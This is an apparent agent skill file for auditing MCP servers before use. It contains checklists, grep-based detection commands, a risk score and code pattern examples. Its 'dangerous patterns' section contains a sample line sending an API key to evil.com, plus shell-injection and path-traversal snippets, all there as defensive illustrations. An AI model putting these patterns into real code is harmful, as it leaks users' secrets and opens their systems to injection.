skill-mcp-security-audit

name	skill-mcp-security-audit
description	Security audit for MCP (Model Context Protocol) servers. Detect data exfiltration risks, command injection, permission escalation, and supply chain vulnerabilities before adding MCP servers to your agent. Trigger on: 'audit MCP', 'MCP security', 'check MCP server', 'scan MCP'.

MCP Security Audit 🔒

Don't blindly trust MCP servers. Audit them first.

The Problem

MCP (Model Context Protocol) servers give AI agents powerful capabilities - file access, API calls, code execution. But they can also:

• Exfiltrate data to external servers
• Execute arbitrary commands on your machine
• Access files beyond intended scope
• Chain vulnerabilities for privilege escalation

Real incident: CVE-2026-23744 exposed MCP injection vulnerabilities. Supply chain attacks via compromised MCP packages are a growing threat.

Quick Audit Checklist

1. Source Verification ✅

□ Is this an official/verified package?
□ Check npm/PyPI download counts and maintainer history
□ Review recent commits for suspicious changes
□ Verify package signature if available

2. Network Audit 🌐

□ List all external URLs/domains the MCP connects to
□ Check for hardcoded API endpoints
□ Verify TLS certificate validation is enabled
□ Flag any data sent to unknown domains

3. File Access Audit 📁

□ What directories can the MCP read/write?
□ Is access scoped to project directory only?
□ Check for path traversal vulnerabilities
□ Flag any access to ~/.ssh, ~/.config, env files

4. Command Execution Audit ⚡

□ Does the MCP execute shell commands?
□ Are commands user-controlled or hardcoded?
□ Check for command injection vectors
□ Verify sandboxing/isolation if present

5. Permission Scope Audit 🔑

□ What permissions does the MCP request?
□ Are permissions minimal (principle of least privilege)?
□ Check for excessive scope requests
□ Verify user consent for sensitive operations

6. Dependency Audit 📦

□ Run npm audit / pip-audit / cargo audit
□ Check for known CVEs in dependencies
□ Flag outdated packages with security fixes
□ Review transitive dependencies

Audit Commands

For npm-based MCP servers:

# Check package.json for suspicious scripts
cat package.json | jq '.scripts'

# Audit dependencies
npm audit

# Check for post-install scripts
cat package.json | jq '.scripts.postinstall, .scripts.preinstall'

# List network calls (requires grep)
grep -r "fetch\|axios\|http\|https\|ws://" src/ --include="*.js" --include="*.ts"

For Python MCP servers:

# Check requirements.txt for suspicious packages
cat requirements.txt

# Audit dependencies
pip-audit

# Check for network calls
grep -r "requests\|urllib\|httpx\|aiohttp" src/ --include="*.py"

# Check for subprocess calls
grep -r "subprocess\|os.system\|exec\|eval" src/ --include="*.py"

Risk Scoring

Category	Weight	High Risk Indicators
Network	30%	Unknown domains, no TLS, data exfil patterns
File Access	25%	Home dir access, path traversal, sensitive files
Command Exec	25%	Unsanitized input, shell=True, arbitrary commands
Dependencies	15%	Known CVEs, unmaintained packages
Source	5%	Unverified maintainer, recent ownership change

Score ≥ 70: High risk - Do not use without review Score 40-69: Medium risk - Use with caution Score < 40: Low risk - Generally safe

Red Flags 🚩

Immediately reject MCP servers with:

1. Obfuscated code - eval(atob('...')) or similar
2. Dynamic code loading - Loading code from remote URLs
3. Environment variable exfil - Sending process.env or os.environ externally
4. Credential harvesting - Asking for passwords/tokens unnecessarily
5. No source code - Binary-only distributions without reproducible builds

Audit Report Template

# MCP Security Audit Report

**Server**: [name]
**Version**: [version]
**Audited**: [date]
**Risk Score**: [score]/100

## Findings

### Critical
- [list critical issues]

### High
- [list high issues]

### Medium
- [list medium issues]

### Low
- [list low issues]

## Recommendations

1. [recommendation]
2. [recommendation]

## Verdict

[ ] APPROVED - Safe to use
[ ] APPROVED WITH CAUTION - Review recommendations
[ ] REJECTED - Too many risks

Common MCP Security Patterns

Safe Patterns ✅

// Scoped file access
const allowedDir = path.resolve(process.cwd(), 'data');
if (!filePath.startsWith(allowedDir)) throw new Error('Access denied');

// Sanitized commands
const allowedCommands = ['git', 'npm', 'node'];
if (!allowedCommands.includes(cmd)) throw new Error('Command not allowed');

// Explicit user consent
if (!await askUserConsent('Allow access to X?')) return;

Dangerous Patterns ❌

// DON'T: Unrestricted file read
fs.readFileSync(userInput); // Path traversal!

// DON'T: Shell injection
exec(`git ${userBranch}`); // Command injection!

// DON'T: Credential exposure
fetch('https://evil.com/steal?token=' + process.env.API_KEY);

Integration with CI/CD

Add to your workflow:

# .github/workflows/mcp-audit.yml
name: MCP Security Audit
on: [push, pull_request]

jobs:
  audit:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - name: Audit MCP servers
        run: |
          # Add your audit commands here
          npm audit
          # Check for suspicious patterns
          grep -r "eval\|exec\|process.env" mcp-servers/ && exit 1

Related Skills

• prompt-guard - Protect against prompt injection
• skill-error-recovery - Handle MCP connection failures gracefully
• token-budget-guard - Monitor MCP token usage

References

• MCP Specification
• OWASP Top 10 for LLMs
• CVE-2026-23744

---

Remember: Every MCP server you add expands your agent's attack surface. Audit before you trust.